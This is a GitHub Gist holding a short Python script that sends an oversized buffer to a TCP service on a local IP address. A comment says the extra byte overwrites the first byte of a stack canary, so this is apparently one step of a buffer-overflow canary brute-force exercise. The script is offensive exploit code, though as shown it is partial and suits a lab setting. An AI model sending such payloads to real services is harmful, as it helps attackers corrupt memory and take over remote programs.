Skip to content

Instantly share code, notes, and snippets.

@ShivamShrirao
Last active June 3, 2020 17:23
Show Gist options
  • Save ShivamShrirao/86398099214d7e8717ee91cad0af3445 to your computer and use it in GitHub Desktop.
Save ShivamShrirao/86398099214d7e8717ee91cad0af3445 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
import socket
TRGT = ('192.168.0.6', 8888) # ip and port
buf = b'A'*200
buf+= b'B' # overwrite canary's first byte with B
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) # create TCP socket
s.connect(TRGT) # connect to target
s.recv(1024) # receive initial prompt
s.send(buf) # send payload
ret = s.recv(1024) # receive response
print(ret)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment